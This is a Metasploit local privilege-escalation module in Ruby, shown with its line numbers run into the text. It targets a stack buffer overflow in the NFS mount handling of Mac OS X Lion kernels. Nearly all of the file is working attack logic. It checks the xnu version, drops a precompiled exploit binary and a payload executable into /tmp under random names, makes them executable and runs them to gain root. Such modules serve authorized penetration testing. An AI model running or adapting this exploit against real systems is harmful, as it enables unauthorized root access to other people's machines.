Path: blob/master/modules/exploits/osx/local/nfs_mount_root.rb
32587 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',18'Description' => %q{19This exploit leverages a stack buffer overflow vulnerability to escalate privileges.20The vulnerable function nfs_convert_old_nfs_args does not verify the size21of a user-provided argument before copying it to the stack. As a result, by22passing a large size as an argument, a local user can overwrite the stack with arbitrary23content.2425Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.26},27'License' => MSF_LICENSE,28'Author' => [29'Kenzley Alphonse', # discovery and a very well-written exploit30'joev' # msf module31],32'References' => [33[ 'EDB', '32813' ]34],35'Platform' => 'osx',36'SessionTypes' => [ 'shell', 'meterpreter' ],37'Targets' => [38[39'Mac OS X 10.7 Lion x64 (Native Payload)',40{41'Platform' => 'osx',42'Arch' => ARCH_X6443}44]45],46'DefaultTarget' => 0,47'DisclosureDate' => '2014-04-11',48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)55end5657def check58if ver_lt(xnu_ver, '1699.32.7') and xnu_ver.strip != '1699.24.8'59CheckCode::Appears60else61CheckCode::Safe62end63end6465def exploit66if is_root?67fail_with Failure::BadConfig, 'Session already has root privileges'68end6970if check != CheckCode::Appears71fail_with Failure::NotVulnerable, 'Target is not vulnerable'72end7374osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')75file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')76exploit = File.read(file)77pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)78tmpfile = "/tmp/#{Rex::Text.rand_text_alpha_lower(12)}"79payloadfile = "/tmp/#{Rex::Text.rand_text_alpha_lower(12)}"8081print_status "Writing temp file as '#{tmpfile}'"82write_file(tmpfile, exploit)83register_file_for_cleanup(tmpfile)8485print_status "Writing payload file as '#{payloadfile}'"86write_file(payloadfile, pload)87register_file_for_cleanup(payloadfile)8889print_status 'Executing payload...'90cmd_exec("chmod +x #{tmpfile}")91cmd_exec("chmod +x #{payloadfile}")92cmd_exec("#{tmpfile} #{payloadfile}")93end9495def xnu_ver96m = cmd_exec('uname -a').match(/xnu-([0-9.~]*)/)97m && m[1]98end99100def ver_lt(a, b)101Rex::Version.new(a.gsub(/~.*?$/, '')) < Rex::Version.new(b.gsub(/~.*?$/, ''))102end103end104105106